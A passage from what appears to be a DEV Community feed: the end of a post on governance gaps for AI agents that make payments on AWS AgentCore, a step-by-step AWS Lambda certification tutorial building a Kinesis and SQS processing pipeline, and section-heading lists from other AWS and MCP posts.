The scenario: Pay for market data, analyze it, send report. Model timeout on step 2. Payment already executed. Report never generated. User charged $0.05 for zero value.

What's needed: transactions with compensation. If step 2 fails, step 1's compensation fires (refund, credit, or at minimum a structured record that the payment delivered no value). Temporal and Inngest solve durable execution for workflows, but they're not integrated into the agent tool-calling loop where payment decisions happen.

# Pseudocode: transactional agent workflow
with agent.commit() as tx:
    data = tx.call("pay_for_data", cost=0.05, endpoint="market-feed")
    result = tx.call("analyze", cost=0.01, data=data)
    tx.call("send_report", cost=0.10, to=user_email)
    # if analyze fails → pay_for_data compensation fires

Databases solved this in 1978. Durable execution engines solved it for workflows. The agent tool-calling loop is the layer still missing it.

Gap 3: Who decides the threshold for approval?

A flat session limit doesn't distinguish between "50 calls at $0.01" and "1 call at $2.40." Both are under a $5 budget. One might need human approval.

The scenario: An agent discovers a premium data source mid-execution. Single call: $2.40. Session limit is $10. Within bounds. But nobody approved spending $2.40 on a single API call for a task that was expected to cost $0.30 total.

What's needed: graduated budget gates that change agent behavior at thresholds, not just stop execution at a ceiling. At 50%, the agent reduces scope and picks cheaper sources. At 75%, new payment commits are blocked and the agent re-evaluates. Above 90%, full stop. Plus per-call approval rules: any single payment above $0.50 requires explicit authorization. The budget gate is behavioral, not binary.

Gap 4: Why was this payment permitted?

AgentCore provides observability: logs, metrics, traces showing what happened. But "what happened" isn't the same as "why was it allowed." When a payment goes wrong, you need the decision chain: which rules were evaluated, what phase the agent was in, whether approval was required.

What's needed: proof traces. A structured record for every payment decision.

Here's what a blocked payment looks like (this is where the value is visible):

Decision: DENIED
Tool: pay_for_data
✗ Phase is EXPLORE (payment tools require COMMIT)
  Agent must transition to DECIDE → COMMIT before paying
  Action: PhaseError raised, tool call rejected

And a permitted one with conditions:

Decision: ALLOWED (with approval)
Tool: pay_for_data
✓ Phase is COMMIT
✓ Transaction T1 is open
✓ Budget: 12% spent, below all thresholds
⚠ Cost $0.50 exceeds $0.25 threshold → approval required
✓ Approval granted by callback
Executed in 0.003s

When something goes wrong, you know whether the system allowed it or failed to prevent it. That's the difference between a bug and a governance gap.

Why hasn't AWS built this?

Fair question. Three possible reasons:

It's coming in GA. The preview focuses on payment execution. Governance features (approval workflows, phase enforcement) may ship later. AWS tends to launch primitives first, then layer policy on top.
They expect frameworks to own it. LangGraph, CrewAI, Strands Agents, and others are building orchestration. AWS may see governance as the framework's job, not the infrastructure's.
The market signal isn't there yet. Few agents transact in production today. The governance pain hasn't been felt widely enough to drive demand.

All three are plausible. But if you're building a paying agent today, you can't wait for option 1 or 2 to materialize. The gap exists now.

A governance pattern for paying agents

The four pieces work together:

Phases prevent premature payments (gap 1)
Transactions protect multi-step workflows (gap 2)
Budget gates enforce graduated spending policy (gap 3)
Proof traces record why every payment was permitted or denied (gap 4)

The rules that govern these should be readable by the people responsible for spending policy:

BLOCK pay_for_data WHEN phase IS NOT commit
BLOCK * WHEN budget ABOVE 90%
REQUIRE APPROVAL FOR * WHEN cost ABOVE 0.50
FLAG * WHEN time OUTSIDE 09:00-17:00

This isn't natural language. An engineer still needs to write it. But a product manager can read it and confirm it matches the policy they intended.

Reference implementation

I built a single-file Python library that implements this pattern: phases, transactions, budget gates, proof traces, and the rule DSL above. Zero dependencies. MIT licensed.

Shape on GitHub

It wraps any tool-calling agent (LangGraph, CrewAI, Strands, raw Python) with external governance. It's not a framework and it's not competing with AgentCore. It fills the gap between "the agent can pay" and "the agent should be allowed to pay right now." Whether you build that yourself, use Shape, or wait for AWS to ship it, the pattern is the same.

AWS built the payment rails. The governance layer is still your problem.

Links:

Develop Code for Lambda | 🏗️ Build A Real-Time Data Processing Pipeline

Ntombizakhona Mabaso — Thu, 07 May 2026 20:34:21 +0000

Exam Guide: Developer - Associate
🏗️ Domain 1: Development with AWS Services
📘 Task 2: Develop Code for Lambda

Lambda is the most heavily tested service on the DVA-C02. It is also perhaps, one of the most used and talked about services in general too, well after EC2 and S3. So, you need to know how to configure it, write code for it, handle errors, tune performance, and integrate it with practically every other AWS service.

📘Concepts

Lambda Execution Model

When you invoke a Lambda function, AWS:
1. Finds or creates an execution environment (container)
2. Loads your code and initializes it (cold start)
3. Runs your handler function
4. Keeps the environment warm for reuse (subsequent invocations skip step 2)

Code outside the handler runs once during cold start and is reused. This is why you initialize SDK clients and database connections outside the handler.

Key Configuration Parameters

Parameter	Range	Default	Notes
Memory	128 MB – 10,240 MB	128 MB	CPU scales proportionally with memory
Timeout	1s – 900s (15 min)	3s	Max 15 minutes: use Step Functions or ECS for longer or Durable functions
Concurrency	Reserved or Provisioned	1000/region	Reserved = guarantee + cap; Provisioned = pre-warmed
Ephemeral storage	512 MB – 10,240 MB	512 MB	/tmp directory for temporary files
Layers	Up to 5	—	250 MB total unzipped (function + layers)

Invocation Types and Error Handling

Invocation Type	Source Examples	Retry Behavior	Error Destination
Synchronous	API Gateway, ALB	No automatic retries caller handles it	Caller gets the error
Asynchronous	S3, SNS, EventBridge	2 automatic retries (3 total)	DLQ or Lambda Destinations
Event source mapping	SQS, Kinesis, DynamoDB Streams	Retries until record expires or succeeds	DLQ (SQS) or on-failure destination

Lambda Destinations vs DLQ

Feature	DLQ	Lambda Destinations
Captures success	No	Yes
Captures failure	Yes	Yes
Context included	Minimal	Full (request, response, error)
Supported targets	SQS, SNS	SQS, SNS, Lambda, EventBridge
Works with	Async invocations	Async invocations

Lambda Destinations are the modern approach and preferred over DLQs. DLQs are still valid for SQS event source mappings.

VPC Access

By default, Lambda runs in an AWS-managed VPC and can access the internet and public AWS services. When you attach Lambda to your own VPC:

Without VPC:  Lambda → Internet → AWS Services ✅  |  Lambda → Private RDS ❌
With VPC:     Lambda → Private RDS ✅  |  Lambda → Internet ❌ (needs NAT Gateway)
              Lambda → VPC Endpoint → AWS Services ✅

Key Points:

1. VPC Lambda needs private subnets with a NAT Gateway for internet access
2. Use VPC endpoints (PrivateLink) to access DynamoDB, S3, SQS without NAT
3. Use RDS Proxy for connection pooling because Lambda can overwhelm databases with concurrent connections

Cold Starts

A cold start happens when Lambda creates a new execution environment. Strategies to reduce them:

1. Provisioned Concurrency: pre-warms environments (costs money when idle)
2. Keep deployment packages small: smaller packages initialize faster
3. Initialize outside the handler: SDK clients, DB connections, config
4. Use ARM (Graviton2): often faster and 20% cheaper

Kinesis And Lambda Key Settings

Setting	What It Does	Relevance
Batch size	Records per invocation (max 10,000)	Larger batches = fewer invocations
Batch window	Wait time to fill batch (max 300s)	Reduces invocations for low-traffic streams
Parallelization factor (1–10)	Concurrent batches per shard	Increases throughput without adding shards
Bisect batch on error	Splits batch in half on failure	Isolates the bad record
Starting position	LATEST or TRIM_HORIZON	LATEST = new only. TRIM_HORIZON = from beginning

🏗️ Build A Real Time Data Processing Pipeline

Now let's put these concepts into practice by building a Real-Time Data Processing Pipeline using Lambda:

A Lambda function with VPC access connecting to an RDS database
Lambda layers for shared dependencies
A DLQ (Dead Letter Queue) and Lambda Destinations for error handling
A Kinesis stream processor that transforms data in near real time
Performance tuning with memory configuration

This covers all the skills for this task: Lambda configuration, VPC access, error handling, event lifecycle, integrations, and performance tuning.

Prerequisites

An AWS account (free tier covers most of this)

Part I

Create and Configure a Lambda Function

Create the Function

Step 01: Open the Lambda

Step 02: **Click **Create function

Step 03: Create function
Choose Author from scratch

Function name: DataProcessor
Runtime: Python 3.12

Click Create function

✅Green banner: Successfully created the function "DataProcessor".

Before writing code, let's walk through the configuration tabs.

Step 04: Click the Configuration tab.
General configuration
Click Edit:

Memory: 256 MB (default is 128 MB)
Ephemeral storage: 512 MB (default)
Timeout: 0 min 30 sec (default is 3 seconds)

Click Save.

Lambda allocates CPU proportionally to memory. At 1,769 MB you get one full vCPU. Increasing memory from 128 MB to 256 MB doubles your CPU therefore your function might run in half the time, costing the same or less.

Step 05: Environment variables
Click Environment variables → Edit → Add environment variable:

Key: LOG_LEVEL, Value: INFO
Key: STAGE, Value: dev

Click Save.

✅Green banner: Successfully updated the function "DataProcessor".

import os

# Access environment variables in your code
log_level = os.environ.get('LOG_LEVEL', 'INFO')
stage = os.environ.get('STAGE', 'dev')

Lambda encrypts all environment variables at rest by default using an AWS managed KMS key. For extra security, you can use a customer managed KMS key and decrypt in your code.

Part II

Create a Lambda Layer

Layers let you share code and libraries across multiple functions. Let's create one with a utility module.

Build and Upload a Layer

Layers must be uploaded as a zip file.
We'll use AWS CloudShell: a browser-based terminal built into the AWS Console so that you don't need anything installed locally.

Step 01: Open CloudShell by clicking the terminal icon (>_) in the top navigation bar of the AWS Console next to the search bar

Step 02: Wait for it to initialize as it might take a few seconds the first time

Step 03:
Run these commands:

mkdir -p python
cat > python/utils.py << 'EOF'
"""
Shared utilities for Lambda functions.
This module is packaged as a Lambda Layer so multiple functions can use it.
"""
import json
import time
import random

def retry_with_backoff(func, max_retries=3, base_delay=0.5):
    """Retry with exponential backoff and jitter."""
    for attempt in range(max_retries + 1):
        try:
            return func()
        except Exception as e:
            if attempt == max_retries:
                raise
            delay = base_delay * (2 ** attempt)
            jitter = random.uniform(0, delay)
            time.sleep(delay + jitter)

def format_response(status_code, body):
    """Standard API Gateway response format."""
    return {
        'statusCode': status_code,
        'headers': {'Content-Type': 'application/json'},
        'body': json.dumps(body, default=str)
    }
EOF

zip -r utils-layer.zip python/

Step 04: Download the zip
Click Actions ▼ (top right of CloudShell) → Download file → type utils-layer.zip → click Download

Why the python/ folder? Lambda layers must follow a specific directory structure. For Python, your code must be inside a python/ folder in the zip. Lambda adds this path to sys.path automatically so your functions can import utils directly.

Step 05: Upload the Layer via Console
In the Lambda console, click Layers in the left sidebar

Step 06: Click Create layer

Name: shared-utils
Upload: Choose the utils-layer.zip file
Compatible runtimes - optional: Python 3.12 Click Create

✅Green banner: Successfully created layer shared-utils version 1.

Step 07: Attach the Layer to Your Function
Go back to the DataProcessor function
Scroll down to the Layers section
Click Edit

Step 08: Edit layers
Click Add a layer
Choose Custom layers
Select shared-utils
Version: 1
Click Add

Click Save

✅Green banner: Successfully updated the function "DataProcessor".

Step 09: Now you can use it in your function code:

from utils import format_response, retry_with_backoff

def lambda_handler(event, context):
    return format_response(200, {'message': 'Hello from DataProcessor'})

A function can have up to 5 layers. The total unzipped size of the function + all layers can't exceed 250 MB. Layers are versioned and immutable. Each upload creates a new version.

Part III

Error Handling: DLQ and Lambda Destinations

Create a Dead Letter Queue

Step 01: Open the SQS console

Step 02: Click Create queue

Type: Standard
Name: data-processor-dlq

Click Create queue

✅Green banner: Queue data-processor-dlq created successfully

Step 03: Copy the Queue ARN

Step 04: Create a Success Queue (for Destinations)
Create another queue:

Name: data-processor-success

Copy the Queue ARN

Step 05: Lambda → DataProcessor → Configuration → Permissions → Click the Role name
Add permissions → Attach policies
Search for AmazonSQSFullAccess and attach it

Step 06: Configure the DLQ on the Lambda Function
Go back to the DataProcessor function
Configuration tab → Asynchronous invocation → Edit

Maximum age of event: 1 h 0 min 0 sec
Retry attempts: 2
Dead-letter queue service ▼: Select Amazon SQS
Queue ▼: Select data-processor-dlq

Click Save

✅Green banner: Successfully updated the function "DataProcessor".

Destinations are the modern approach. They capture both success AND failure.

Step 07: Configure Lambda Destinations
Still in Asynchronous invocation, find the Destinations section
Click Add destination

Step 08: Add destination

Source: Asynchronous invocation
Condition: On success
Destination type: SQS queue
Destination: data-processor-success

Click Save

✅Green banner: Your changes have been saved.

Step 09: Click Add destination again

Source: Asynchronous invocation
Condition: On failure
Destination type: SQS queue
Destination: data-processor-dlq

Click Save

✅Green banner: Your changes have been saved.

Lambda Destinations are preferred over DLQs because:

Destinations capture both success and failure (DLQ only captures failure)

Destinations include more context (request payload, response, error details)

Destinations work with async invocations only (same as DLQ)

DLQs are still valid for SQS event source mappings

Test Error Handling

Step 10: Let's create a function that sometimes fails to see the error handling in action:

Deploy this code, then test it

import json
import random

def lambda_handler(event, context):
    """
    This function randomly fails to demonstrate error handling.
    When invoked asynchronously:
    1. First attempt fails → Lambda retries
    2. Second attempt fails → Lambda retries again
    3. Third attempt fails → Event goes to DLQ / failure destination
    """
    action = event.get('action', 'process')

    if action == 'fail':
        # Always fail — will end up in DLQ after 3 attempts
        raise Exception("Simulated failure for testing DLQ")

    if action == 'random':
        # 50% chance of failure
        if random.random() < 0.5:
            raise Exception("Random failure occurred")

    return {
        'statusCode': 200,
        'body': json.dumps({'message': 'Processed successfully', 'action': action})
    }

Step 11: Click Test tab

Step 12: Test event

Test event action: Create new event
Invocation type: Synchronous
Event name: TestFailure
Even JSON:

{
  "action": "fail"
}

Click Test

❌ Executing function: failed

The function will fail. Since this is a synchronous test invocation, you'll see the error immediately. To test the DLQ flow, you need an asynchronous invocation (from S3, SNS, or EventBridge).

Part IV

Lambda with VPC Access

When Lambda needs to access private resources like RDS or ElastiCache, you attach it to a VPC. Let's walk through the configuration.

Understanding VPC Access

Without VPC:
  Lambda → Internet → AWS Services (DynamoDB, S3, SQS)  ✅
  Lambda → Private RDS                                    ❌

With VPC:
  Lambda → VPC → Private RDS                              ✅
  Lambda → VPC → Internet                                 ❌ (no NAT)
  Lambda → VPC → NAT Gateway → Internet                   ✅
  Lambda → VPC → VPC Endpoint → AWS Services              ✅

Configure VPC Access (Console Walkthrough)

Step 01: Open the DataProcessor function
Configuration tab → VPC → Edit

Step 02: Edit VPC
Select the default VPC
Select at least 2 private subnets (for high availability)
Select or create a security group that allows outbound traffic

Click Save

⚠️Important: The Lambda execution role needs the AWSLambdaVPCAccessExecutionRole managed policy.

Step 03: Connection Reuse Pattern

When connecting to databases from Lambda, initialize the connection outside the handler:

import os
import json
import boto3

# This runs ONCE during cold start, then reuses across warm invocations
# This is critical for database connections — you don't want to open
# a new connection on every single invocation
db_host = os.environ.get('DB_HOST')
db_name = os.environ.get('DB_NAME')

# In a real app, you'd initialize your database connection here
# connection = pymysql.connect(host=db_host, ...)

def lambda_handler(event, context):
    """
    The handler runs on every invocation.
    The connection above is reused across warm invocations.
    """
    # Use the connection...
    return {
        'statusCode': 200,
        'body': json.dumps({'message': 'Connected to database'})
    }

Always initialize SDK clients and database connections outside the handler. This code runs once during the cold start and is reused for subsequent warm invocations.
For RDS specifically, use RDS Proxy to manage connection pooling. Lambda can open hundreds of connections simultaneously, which can overwhelm a database.

Part V

Process Streaming Data with Kinesis

Let's build a real-time clickstream processor.

Create a Kinesis Data Stream

Step 01: Open the Kinesis console
Click Create data stream

Data stream name: clickstream
Capacity mode: On-demand

Click Create data stream

✅Green banner: Data stream clickstream successfully created

Step 02: Create the Stream Processor Function
Go to Lambda → Create function
Configure:

Function name: ClickstreamProcessor
Runtime: Python 3.12
Memory: 512 MB
Timeout: 60 seconds

Step 03: Paste this code

import json
import base64
from datetime import datetime

def lambda_handler(event, context):
    """
    Processes clickstream records from Kinesis in near real time.

    Key concepts for the exam:
    - Kinesis data is base64 encoded
    - Records come in batches
    - The partition key determines which shard receives the record
    - Use a high-cardinality partition key (like userId) for even distribution
    """
    processed = 0
    failed = 0

    print(f"Received {len(event['Records'])} records from Kinesis")

    for record in event['Records']:
        try:
            # Kinesis data is base64 encoded — decode it
            raw_data = base64.b64decode(record['kinesis']['data']).decode('utf-8')
            data = json.loads(raw_data)

            # Extract clickstream fields
            user_id = data.get('userId', 'anonymous')
            page = data.get('page', 'unknown')
            action = data.get('action', 'unknown')
            timestamp = data.get('timestamp', datetime.utcnow().isoformat())

            # Process the click event
            print(f"Click: user={user_id}, page={page}, action={action}, time={timestamp}")

            # In a real app, you'd:
            # - Aggregate metrics
            # - Write to DynamoDB or S3
            # - Trigger alerts for specific patterns

            processed += 1

        except Exception as e:
            print(f"Failed to process record: {str(e)}")
            failed += 1

    print(f"Batch complete: {processed} processed, {failed} failed")

    return {
        'statusCode': 200,
        'body': json.dumps({
            'processed': processed,
            'failed': failed
        })
    }

Click Deploy

✅Green banner: Successfully updated the function "ClickstreamProcessor".

Step 04: Add Permissions
The Lambda execution role needs permission to read from Kinesis:
Go to Configuration → Permissions → click the role name
Add permissions → Attach policies
Search for and attach AmazonKinesisReadOnlyAccess

Step 05: Connect Kinesis to Lambda
In the ClickstreamProcessor function, click Add trigger

Step 06: Add trigger
Select a source ▼: Kinesis

Kinesis stream: clickstream
Batch size: 100
Starting position: Latest
Batch window: 5
On-failure destination: ``
Retry attempts: 3
Split batch on error: ✔ enabled
Concurrent batches per shard: 10

Click Add

✅Green banner: The trigger clickstream was successfully added to function ClickstreamProcessor.

Key Kinesis + Lambda settings:

Batch size: how many records per invocation (max 10,000)

Batch window: how long to wait to fill the batch (max 300s)

Parallelization factor: (1–10) process multiple batches per shard concurrently

Bisect batch on error: splits the batch in half on failure to isolate the bad record

Starting position: LATEST (new records only) or TRIM_HORIZON (from the beginning)

Step 07: Test with Sample Data
Send test records to the stream:
Open the Kinesis console → click clickstream

Step 08: clickstream
Click Data viewer tab
Or use the AWS CLI to send test data:

`shell aws kinesis put-record \ --stream-name clickstream \ --partition-key "USER-001" \ --data '{"userId":"USER-001","page":"/products/laptop","action":"view","timestamp":"2026-04-24T10:00:00Z"}' `

Step 09: Check the ClickstreamProcessor CloudWatch logs to see the processed records

Part VI

Performance Tuning

Memory vs Duration Experiment

Let's see how memory affects performance:

Step 01: Open the ClickstreamProcessor function

Step 02: Configuration → General configuration → Edit
Set Memory to 128 MB → Save

Step 03: Run a test → note the Duration and Max Memory Used in the execution results

`json { "Records": [ { "kinesis": { "data": "eyJ1c2VySWQiOiJVU0VSLTAwMSIsInBhZ2UiOiIvcHJvZHVjdHMvbGFwdG9wIiwiYWN0aW9uIjoidmlldyIsInRpbWVzdGFtcCI6IjIwMjYtMDQtMjRUMTA6MDA6MDBaIn0=" }, "eventSource": "aws:kinesis", "eventSourceARN": "arn:aws:kinesis:us-east-1:123456789012:stream/clickstream" }, { "kinesis": { "data": "eyJ1c2VySWQiOiJVU0VSLTAwMiIsInBhZ2UiOiIvY2hlY2tvdXQiLCJhY3Rpb24iOiJjbGljayIsInRpbWVzdGFtcCI6IjIwMjYtMDQtMjRUMTA6MDE6MDBaIn0=" }, "eventSource": "aws:kinesis", "eventSourceARN": "arn:aws:kinesis:us-east-1:123456789012:stream/clickstream" } ] } `

Step 04: Change memory to 256 MB → test again

Step 05: Change to 512 MB → test again

Step 06: Change to 1024 MB → test again

You'll typically see:

Memory	Duration	Billed Duration	Cost per Invocation
128 MB	~200ms	200ms	Low per-ms, but slow
256 MB	~110ms	110ms	Sweet spot for many functions
512 MB	~60ms	60ms	Faster, slightly more per-ms
1024 MB	~55ms	55ms	Diminishing returns

The sweet spot is where increasing memory no longer significantly reduces duration.

Step 07: Concurrency Settings
Configuration → Concurrency and recursion detection
Concurrency→ Edit

Step 08: Edit concurrency

USe unreserved account concurrency: Uses the shared regional pool (default 1000)
Reserve concurrency: Guarantees capacity AND caps the function

Select Reserve concurrency: 50

Click Save

✅Green banner: Your changes have been saved.

This means:

Your function is guaranteed 50 concurrent executions
It can never exceed 50 (acts as a throttle)
The remaining 950 are available for other functions

Reserved concurrency is free and serves two purposes: guaranteeing capacity AND protecting downstream services from being overwhelmed. Provisioned concurrency costs money even when idle but eliminates cold starts.

🏗️ What You Built | 📘Exam Concepts Recap

What You Did	Exam Concept
Created a Lambda function and configured memory/timeout	Lambda configuration parameters
Built and attached a Lambda Layer	Sharing code across functions, layer structure and limits
Set up a DLQ and Lambda Destinations	Async error handling, event lifecycle
Used `--invocation-type Event` to trigger async flow	Synchronous vs asynchronous invocation types
Attached Lambda to a VPC with subnets and security group	VPC access for private resources (RDS, ElastiCache)
Initialized SDK clients outside the handler	Connection reuse, cold start optimization
Created a Kinesis stream and connected it to Lambda	Real-time data processing, event source mappings
Configured batch size, batch window, parallelization factor	Kinesis + Lambda tuning for throughput
Enabled bisect batch on error	Isolating bad records in stream processing
Changed memory settings and compared Duration	Performance tuning, memory = CPU relationship
Set reserved concurrency	Throttling, capacity guarantees, protecting downstream services

⚠️ Clean Up Protocol

1. Lambda → Delete DataProcessor, ClickstreamProcessor
2. Lambda Layers → Delete shared-utils
3. Kinesis → Delete clickstream stream
4. SQS → Delete data-processor-dlq, data-processor-success
5. IAM → Delete the Lambda execution roles
6. CloudWatch → Delete the log groups

Key Takeaways

Memory = CPU: more memory means more CPU. Find the sweet spot where cost and performance balance.
Initialize outside the handler: SDK clients, DB connections, config loading. Reused across warm invocations.
Lambda Destinations > DLQ: Destinations capture success AND failure with more context.
ReportBatchItemFailures for SQS, BisectBatchOnFunctionError for Kinesis to isolate bad records.
VPC Lambda loses internet: needs NAT Gateway or VPC endpoints for AWS services.
RDS Proxy for Lambda-to-RDS: manages connection pooling.
Layers: up to 5 per function, 250 MB total unzipped, versioned and immutable.
15-minute timeout is the max: for longer tasks, use Step Functions or ECS.
Provisioned concurrency: eliminates cold starts but costs money when idle.
Kinesis parallelization factor" (1–10) lets you process multiple batches per shard.

Additional Resources

🏗️

DEV Community: AWS Community Builders

What Is an Agent Harness? And Why Every AI Agent Needs One

The Problem With "Just Using a Model"

So, What Exactly Is an Agent Harness?

Why Harness Building Has Been So Painful

Enter Managed Harnesses: The Agent Factory Model

Let's Build Something: An AI Trends Analyst in Minutes

The Goal

Step 1: Install the CLI

Step 2: Create Your Agent Config Interactively

Step 3: Write Your System Prompt

Step 4: Deploy It

Step 5: Invoke It

What Comes Built In

Agent Skills: Teaching Your Agent Domain Expertise

The Escape Hatch: When You Outgrow Config

Common Questions Answered

Why This Matters for the Community

Where to Go From Here

Cracking the Bedrock, Reaching the Core: Building Agents with AWS AgentCore Runtime and Memory

Contents

Agents-to-AgentCore Evolution

The use case: briefing in, subject lines out

Input: a campaign briefing

Output: a ranked shortlist of 5

Drafting a solution

I. The entrypoint (main.py)

II. The imperative shell (agent/builder.py)

The agents

Scoring stays in-process

The observability hook

III. The functional core (agent/iteration.py)

IV. Scoring

V. The two agents and Bedrock

VI. AgentCore Memory: four strategies

What the loop reads

VII. Observability

VIII. What I didn't use this time

IX. How to deploy and run it

Prerequisites

Testing locally before deploying

Deploying

Running an invocation

Example output

Closing thoughts

MCP Development with Amazon Elastic Beanstalk (EBS)

Yet another Python MCP Demo?

What Is Python?

Python Version Management

Gemini CLI

Testing the Gemini CLI Environment

Node Version Management

Python MCP Documentation

Docker Version Management

Amazon Elastic Bean Stalk

AWS CLI

Where do I start?

Setup the Basic Environment

Hello World with HTTP Transport

Running the Python Code

Gemini CLI settings.json

Remote MCP Server Testing

Summary

What AgentCore Managed Harness Takes Over, What It Leaves to You

AWS released "managed harness"

Self-built harness composition, the four blank layers

Layers managed harness takes over, layers it leaves

Where self-built operation can articulate "the place of design judgments"

Why not just use managed harness from the start?

Order of adoption: where personal and organizational use diverge

Deploying a Rust MCP Server to Amazon LightSail

More MCP Demos?

Why not just use Python?

What is this Tutorial Trying to Do?

What is Rust?

So is this the real Slim Shady?

Rust Setup

Gemini CLI

Testing the Gemini CLI Environment

AWS CLI

Boundary 1: Source → Repository (Who can write to `main`?)

Boundary 7: Tag → Commit (What does this `uses:` / include / plugin actually point to?)

Boundary 1: Source → Repository (Who can write to `main`?)

Boundary 7: Tag → Commit (What does this `uses:` / include / plugin actually point to?)